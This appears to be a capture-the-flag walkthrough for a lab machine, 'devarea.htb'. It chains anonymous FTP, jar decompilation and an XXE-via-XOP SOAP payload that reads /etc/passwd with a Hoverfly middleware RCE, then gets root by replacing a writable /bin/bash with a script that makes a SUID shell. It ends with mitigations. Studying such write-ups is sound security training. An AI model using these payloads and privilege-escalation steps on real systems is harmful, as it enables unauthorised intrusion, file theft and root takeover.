Overview

The machine starts by discovering open FTP port that enables anonymous authentication, leading to Jar file for one of the applications running on the target
By Decompiling the Application we find a directory that is vulnerable to XXE through XOP which helped us to read config files that leaks credentials for other service running on the target, that service is vulnerable to RCE through middleware After that Unsafe call for bash binary in an application that we can run with sudo, with the bash binary being writable we hijacked it to get a shell as a root

Enumeration

so we some ports open

  • FTP on 21 with anonymous login allowed (easy win)
  • SSH on 22
  • HTTP on 80, 8080, 8500, 8888

now we go first for the easy wins and then see what we got on other ports adding this to our hosts file

plaintext
10.129.21.50 devarea.htb

FTP

Looking at the files on FTP and we find a jar file which is java archive Pasted image 20260331084222.png after downloading it lets try to decompile it and see what we get

Decompiling Application

I'll use the cfr decompiler to see what we can do

bash
java -jar cfr-0.152.jar --outputpath ./employee employee-service.jar

and it'll take sometime, but once it finishes we can open the files and see if there is any hardcoded creds once it's done we can see that it has a file in htb/devarea and when we go there we'll see a file called ServerStarter looking at that file we see interesting service running on 8080 Pasted image 20260331085005.png

XXE via XOP in SOAP

we already knew that 8080 was exposed but i don't think that there is any wordlist that might've leaked this directory

WSDL (Web Services Description Language) is an XML-based language used to describe the functionality, methods, and communication protocols of SOAP-based web services. It acts as a machine-readable contract detailing how to connect to a service, what operations it performs, and what data structures it requires.

Pasted image 20260331085142.png we see that it runs jetty with that specific version so lets see what's on that endpoint Pasted image 20260331085234.png and it returns some kind of error cause it expects XML-based input i guess so lets look at ?wsdl it returns the next output

and it leaks the entire functionality of SOAP service took sometime testing this but found that content can be exploited as XXE using XOP (XML-binary Optimized Packaging), it bypasses DTD restrictions by using the MTOM/XOP protocol to include external files

bash
curl -X POST http://10.129.21.50:8080/employeeservice \
-x http://127.0.0.1:8080 \
-H "Content-Type: multipart/related; type=\" application/xop+xml\"; start=\"<root>\"; start-info=\"text/xml\"; boundary=\"boundary\"" \
--data-binary @- < < EOF --boundary Content-Type: application/xop+xml; charset=UTF-8; type="text/xml" Content-Transfer-Encoding: 8bit Content-ID: < root> < soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/" xmlns:xop="http://www.w3.org/2004/08/xop/include"> < soapenv:Header/> < soapenv:Body> < dev:submitReport> < arg0> < employeeName>ben</employeeName> < department>IT</department> < content><xop:Include href="file:///etc/passwd"/></content> < confidential>false</confidential> < /arg0> < /dev:submitReport> < /soapenv:Body> < /soapenv:Envelope> --boundary-- EOF

and using burp is gonna be much easier than editing this in the CLI Pasted image 20260331090206.png and when we hit it we get base64 string so lets decode it

bash
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
< snip>
dev_ryan:x:1001:1001::/home/dev_ryan:/bin/bash
ftp:x:110:111:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
syswatch:x:984:984::/opt/syswatch:/usr/sbin/nologin
postfix:x:111:112::/var/spool/postfix:/usr/sbin/nologin
_laurel:x:999:987::/var/log/laurel:/bin/false
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false  

and we see user dev_ryan but when trying to read his .ssh directory it is empty so lets try to read any other config files that we could get our hands on the port 8500 is a proxy server probably proxying for hoverfly running on 8888 so lets find any configs related to those and by looking in /etc/systemd/system i find a file for hoverfly Pasted image 20260331091208.png and it leaks password for an admin so lets try to login Pasted image 20260331091314.png we get in and it runs v1.11.3

Foothold

by looking-up this version it is vulnerable to RCE through insecure middleware implementation

CVE-2025-54123

this effects /api/v2/hoverfly/middleware due to combination of flaws:

  1. Insufficient input validation for the binary parameter
  2. Unsafe command execution
  3. Immediate execution

the second flaw happens because of this

go
var middlewareCommand *exec.Cmd
if this.Script == nil {
    middlewareCommand = exec.Command(this.Binary)  // User-controlled binary
} else {
    middlewareCommand = exec.Command(this.Binary, this.Script.Name())  // User-controlled binary and script
}

so we can give a binary and script and it'll run Pasted image 20260331092353.png now lets try to get a shell and we got one, so lets stabilize it Pasted image 20260331092749.pngand we got the user Pasted image 20260331092933.png

Privilege Escalation

now i see that there is a zip file in dev_ryan home directory with the same name as service running called syswatch we saw earlier when we were trying to read the hoverfly config file Pasted image 20260331093122.png and by looking at that sudo -l we see that we can run that binary as root except stopping web or restarting it at this point i went into a rabbit hole by forwarding traffic to see what does this web look like but it was a login page for the syswatch-gui and nothing was useful there so i went back to read the source code syswatch.sh to see what was it? it has couple of flaws but the most dangerous one is in monitor.sh Pasted image 20260331094114.png it runs bash without full path /bin/bash and by looking at the bash binary Pasted image 20260331094214.png we can write to it so we can hijack a binary there is a lot of ways to do it maybe just write a command that will rev shell to a listener to your attacker but my favorite way is to make that hijacked bash create a copy of sh binary with SUID it gives me freedom to do whatever i need later without worrying to lose shell now the issue is we probably gonna tamper with bash binary which will kill our session specially that we'll do kill bash binary to make sure it reads the new changes so lets migrate to /bin/sh first

  1. python3 -c "import pty; pty.spawn('/bin/sh');" and run it with python cause if you tried /bin/sh it might get killed when the main bash dies

  2. killall -9 bash kill bash instances

  3. create the fake bash file

bash
cat > /tmp/fakebash < < 'EOF'
#!/bin/sh
cp /bin/sh /tmp/rootsh
chmod 4777 /tmp/rootsh
EOF
chmod +x /tmp/fakebash
  1. now replace the actual bash file with that bash
bash
cp /tmp/fakebash /bin/bash
  1. and lets trigger the bash call
bash
sudo /opt/syswatch/syswatch.sh plugin service_monitor.sh

so what we did is:

  1. we create a fake bash file, that file when executed copies the sh under /tmp and gives us permission over it with SUID
  2. we copied that fake bash file to /bin/bash to replace the actual bash
  3. when we execute syswatch as root with plugin subcommand it calls bash but this time it calls our bash
  4. with our malicious bash getting executed as root it all went smoothly cause it got all access it needs

if you aren't familiar with SUID, it lets you run the binary with the privilege of its owner, and that file was created by root (remember sudo was used to trigger that) so now we can run that sh as root

now if we look at /tmp we see we got a file rootsh with 4777 Pasted image 20260331100329.png -p to tell sh don't ignore SUID and we get a shell

Just a tip: Screenshot 2026-03-31 100411.png if this entry didn't have env_reset we could've just added any directory to our PATH and inserted a malicious bash in that directory making this directory the first in the $PATH directory when the binaries look up for commands that isn't given as absolute path, it will go one by one and execute the one found in the first PATH which would be ours but the env_reset was enabled so it resets the environment variables (our add wouldn't be considered) so you can think of this option as if it executes the command in a restricted environment

Mitigation

  • disable FTP anonymous authentication
  • Don't ever leave an application in a public directory accessible by any one (don't even leave it there but if you have to make sure it is private in a well hardened environment)
  • make sure your inputs are well sanitized to avoid attacks like XXE
  • use a secret manager to save your creds and call them in your config files and maybe even use an encryption tools to encrypt connection strings in the config files
    • if this isn't possible at least set them as environment variables so they can't be directly by accessing a file (harder to get)
  • make sure to update your services if one of them was compromised
  • don't give the user write over a bash binary
    • and if you have to for some weird reason give him a write over a copy and make sure that bash called in your scripts called by absolute path of the one that is protected

Resources